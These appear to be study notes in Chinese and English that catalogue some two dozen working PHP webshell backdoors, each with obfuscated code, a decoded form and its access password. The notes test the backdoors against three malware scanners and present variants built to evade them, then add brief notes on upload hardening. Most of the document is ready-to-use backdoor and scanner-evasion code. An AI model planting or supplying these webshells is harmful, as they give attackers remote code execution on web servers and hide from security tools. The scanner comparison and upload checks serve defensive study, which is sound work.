webshell
webshell-1.php(assert)
@$A = 'Acc';
$p = '_';
$o = 'PO';
$s = 'S';
$t = 'T';
$a = 'as';
$b = 'sert';
$Acc = $a . $b;
@${$A}(${$p . $o . $s . $t}[ziiuioxs]);
echo 'error';
exit;
後門:
@assert($_POST[ziiuioxs]);
密碼:ziiuioxs
webshell-2.php(array_filter回調)
@$ksvSGu = "\x73tr\x5f\x72e\x70l\x61\x63e";
@$xRec = @$ksvSGu('wcaSq', '', 'awcaSqrrwcaSqawcaSqywcaSq_filwcaSqter');
@$SOet = @$ksvSGu('wZTB', '', 'aswZTBsewZTBrwZTBt');
@$xRec((array)@$_REQUEST['rretgscr'], @$SOet);
後門:
@array_filter((array)@$_REQUEST['rretgscr'],'assert');
密碼:rretgscr
webshell-3.php(create_function)
if ($_GET['jumpvv']) {
$tu = "TVFsnZG9vcnB5J";
$mzd = "10pOwoK";
$fc = "Cg";
$tnz = str_replace("rn", "", "rnstrnrrn_rrnernprnlrnarncrne");
$nu = "pqldmqFsKCRfUE9";
$qwb = $tnz("u", "", "ubuausue6u4u_udueucoudue");
$lcq = $tnz("j", "", "jcrjejatej_jfujnjcjtjiojn");
$htx = $lcq('', $qwb($tnz("q", "", $fc . $nu . $tu . $mzd)));
$htx();
}
後門:
create_function('', base64_decode(str_replace("q", "", "CgpqldmqFsKCRfUE9TVFsnZG9vcnB5J10pOwoK")));
=
create_function('', eval($_POST['doorpy']));
密碼:doorpy
webshell-4.php(preg_replace+/e修飾符)
@$EuTsNl="p"."r"."eg_r"."epla"."c"."e";
@$EuTsNl("/[email]/e",$_POST['iiaqffg'],"error");
後門:
@preg_replace("/[email]/e",$_POST['iiaqffg'],"error");
密碼:iiaqffg
webshell-5.php(preg_filter+/e修飾符)
$ad = '|';$ad .='.';$ad .='*|';$ad .='e';
@preg_filter($ad, $_REQUEST['andyzhengs'], '');
後門:
@preg_filter(|.*|e, $_REQUEST['andyzhengs'], '');
密碼:andyzhengs
webshell-6.php(D盾繞過,create_function)
class create {
public $filter = ['q' => '_function'];
public $value = '';
public function __construct() {
$this->value = $_POST['a'];
$name = get_class($this) . $this->filter['q'];
$st = $name('', $this->value);
$st();
}
}
$a = new create();
後門:
create_function('', $_POST['a']);
密碼:a
審計
php-malware-scanner
# composer require scr34m/php-malware-scanner
# php ./vendor/scr34m/php-malware-scanner/scan.php -d /www/wwwroot/webshell.bt -k -L -p -c
# ER # {/www/wwwroot/webshell.bt/webshell-2.php} #\\[Xx](5[Ff]) # '_' as "\x5f" # 3
# ER # {/www/wwwroot/webshell.bt/webshell-3.php} #\$[a-z]+\(\$[a-z0-9]+\( # nested function call used variables # 19
Start time: 2021-10-04 16:49:22
End time: 2021-10-04 16:49:22
Total execution time: 0
Base directory: /www/wwwroot/webshell.bt
Total directories scanned: 24
Total files scanned: 6
Total malware identified: 2
只掃出 webshell-2.php 和 webshell-3.php
php-malware-detector
# composer require ollyxar/php-malware-detector
新增scanner.php
require 'vendor/autoload.php';
// First parameter is a scan directory
// Second parameter is an array of file extensions to scan
(new \Ollyxar\AntiMalware\Scanner('/www/wwwroot/webshell.bt',['php']))->run();
會使用到exec(),php cli 要把exec 禁用去掉
# php scanner.php
File: /www/wwwroot/webshell.bt/webshell-1.php
Size: 177 B
Owner: root
Permissions: 0644
Hazard level: 1
[double-variable] at line 11
@${$A}(${$p . $
File: /www/wwwroot/webshell.bt/webshell-2.php
Size: 231 B
Owner: root
Permissions: 0644
Hazard level: 1
[obfuscation] at line 3
= "\x73tr\x5f\x72e\x70l\x61\x63e"
File: /www/wwwroot/webshell.bt/webshell-4.php
Size: 107 B
Owner: root
Permissions: 0644
Hazard level: 1
[obfuscation] at line 3
@$EuTsNl="p"."r"."eg_r"."epla"."c"."e";
2021-10-06 15:11:23 - scan end.
Total PHP files scanned: 6
Total suspicious files: 3
掃出 webshell-1.php 、 webshell-2.php 、webshell-4.php
D盾
掃出 webshell-1.php 、webshell-2.php、webshell-3.php、webshell-4.php、webshell-5.php
應該如何做
無論上面使用哪種工具 webshell-6.php 都會被繞過,那應該怎麼做?
I guess you won't be able to really find all possible exploits by parsing your source files.
我猜你不能藉由語法分析源碼(審計工具)真的找出所有可能的漏洞利用
- also if there are really great lists provided in here, you can miss a function which can be exploited
- 即使這裡真的有很好的清單,你能錯過一個會被漏洞利用的方法
- there still could be "hidden" evil code like this
- 這裡依然可能有惡意代碼像這樣被"隱藏"
$myEvilRegex = base64_decode('Ly4qL2U=');
preg_replace($myEvilRegex, $_POST['code'],'');
- you could now say, I simply extend my script to also match this
- 你可以說,我簡單的擴展我的腳本去匹配他
- but then you will have that many "possibly evil code" which additionally is out of it's context
- 但是你將有許多"可能的惡意代碼"沒匹配上
- so to be (pseudo-)secure, you should really write good code and read all existing code yourself
- 所以為了安全,你應該真的寫好代碼和讀懂所有現有的代碼
把上面的惡意代碼當做webshell-7.php
webshell-7.php(preg_replace+/e修飾符)
$myEvilRegex = base64_decode('Ly4qL2U=');
preg_replace($myEvilRegex, $_POST['code'],'');;
後門:
preg_replace('/.*/e', $_POST['code']);
密碼:code
其他常見的php一句話後門
webshell-8.php(eval)
@eval($_POST['a']);
後門:
@eval($_POST['a']);
密碼:a
webshell-9.php(assert)
@assert($_POST['a']);
後門:
@assert($_POST['a']);
密碼:a
webshell-10.php(mb_ereg_replace/mb_eregi_replace/mbereg_replace/mberegi_replace + e修飾符)
@mb_ereg_replace('.*',$_POST['a'],'','e');
@mb_eregi_replace('.*',$_POST['a'],'','e');
@mbereg_replace('.*',$_POST['a'],'','e');
@mberegi_replace('.*',$_POST['a'],'','e');
後門:
@mb_ereg_replace('.*',$_POST['a'],'','e');
@mb_eregi_replace('.*',$_POST['a'],'','e');
@mbereg_replace('.*',$_POST['a'],'','e');
@mberegi_replace('.*',$_POST['a'],'','e');
密碼:a
webshell-11.php(函數變量)
$_GET['a']($_GET['b']);
後門:
$_GET['a']($_GET['b']);
密碼:a=assert&b=phpinfo();
webshell-12.php(call_user_func/call_user_func_array 回調)
call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));
後門:
call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));
密碼:pass
webshell-13.php(filter_var/filter_var_array回調)
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
後門:
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
密碼:pass
webshell-14.php(register_shutdown_function)
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
後門:
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
密碼:e=assert&pass=phpinfo();
webshell-15.php(array_map回調)
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
後門:
array_map(base64_decode($e), $arr);
密碼:e=YXNzZXJ0 + pass
YXNzZXJ0就是assert的base64加密
php5.4.8+中的assert
php 5.4.8+後的版本,assert函數由一個參數,增加了一個可選參數descrition:
這就增加(改變)了一個很好的“執行代碼”的方法assert,這個函數可以有一個參數,也可以有兩個參數。那麼以前回調後門中有兩個參數的回調函數,現在就可以使用了。
webshell-16.php(uasort回調)
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
後門:
uasort($arr, base64_decode($e));
密碼:e=YXNzZXJ0 + pass
webshell-17.php(uksort回調)
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
後門:
uksort($arr, $e);
密碼:e=assert + pass
webshell-18.php(uasort/uksort 面向對象)
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
後門:
$arr->uasort('assert');
$arr->uksort('assert');
密碼:pass
webshell-19.php(array_reduce/array_udiff回調)
// way 1
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
// way 2
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
後門:
array_reduce($arr, $e, $_POST['pass']);
array_udiff($arr, $arr2, $e);
密碼:e=assert&pass=phpinfo();
三參數回調函數
有些函數需要的回調函數類型比較苛刻,回調格式需要三個參數。比如array_walk。array_walk的第二個參數是callable類型,正常情況下它是格式是兩個參數的
php中,可以執行代碼的函數:
- 一個參數:assert
- 兩個參數:assert (php5.4.8+)
- 三個參數:preg_replace /e模式
webshell-20.php(array_walk/array_walk_recursive + preg_replace回調)
// way 1
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
// way 2
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
後門:
array_walk($arr, $e, '');
array_walk_recursive($arr, $e, '');
密碼:e=preg_replace&pass=phpinfo();
單參數後門終極奧義
webshell-21.php(register_tick_function)
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
後門:
register_tick_function($e, $_REQUEST['pass']);
密碼:e=assert&pass=phpinfo();
webshell-22.php(preg_replace_callback/mb_ereg_replace_callback+create_function回調)
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
後門:
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
密碼:pass=phpinfo();
webshell-23.php(CallbackFilterIterator類+create_function回調)
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
echo $item;
}
後門:
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
密碼:pass=phpinfo();
webshell-24.php(array_map回調+php-malware-detector繞過)
function today($c, $d) {
@array_map($c, $d);
}
today(assert, array($_GET[benosvwx7]));
密碼:benosvwx7=phpinfo();
其他惡意代碼
malicious-1.php(copy)
根據
RATS(連接已失效) ,所有PHP的
檔案系統函數 都是令人擔憂的(nasty)。有些看起來對攻擊者不像很有用。但你可以想象有些很有用。例如,如果
allow_url_fopen=On 則URL可以被當做文件路徑(file path)使用,所以
copy($_GET['s'], $_GET['d']); 可以被用來上傳PHP腳本到系統的任意位置。另外,如果這個站的GET請求有弱點(vulnerable),每一個檔案系統函數可以被攻擊者濫用,通過你的server去攻擊其他主機
copy($_GET['s'], $_GET['d']);
漏洞利用:
move_uploaded_file
I know move_uploaded_file has been mentioned, but file uploading in general is very dangerous. Just the presence of $_FILES should raise some concern.
move_uploaded_file 需要被注意,文件上傳通常是危險的。所有有 $_FILES 的地方都需要提高警覺。
It's quite possible to embed PHP code into any type of file. Images can be especially vulnerable with text comments. The problem is particularly troublesome if the code accepts the extension found within the $_FILES data as-is.
十分有可能將PHP代碼嵌入圖片中(文件包含漏洞)
For example, a user could upload a valid PNG file with embedded PHP code as "foo.php". If the script is particularly naive, it may actually copy the file as "/uploads/foo.php". If the server is configured to allow script execution in user upload directories (often the case, and a terrible oversight), then you instantly can run any arbitrary PHP code. (Even if the image is saved as .png, it might be possible to get the code to execute via other security flaws.)
例如,用戶上傳PNG文件(內嵌PHP代碼)。如果伺服器配置允許在用戶上傳的目錄運行腳本,那麼你可以執行任何PHP代碼(即使圖片存成.png,他可能被其他安全瑕疵執行) - 文件包含漏洞
A (non-exhaustive) list of things to check on uploads:
- Make sure to analyze the contents to make sure the upload is the type it claims to be
- Save the file with a known, safe file extension that will not ever be executed
- Make sure PHP (and any other code execution) is disabled in user upload directories
如何檢查文件上傳(非詳盡的)
- 分析內容,確保上傳的文件類型是他所上傳的
- 保存檔案為不會被執行的安全文件類型(白名單)
- 確保PHP和其他代碼執行(文件包含)不會執行用戶上傳目錄上的文件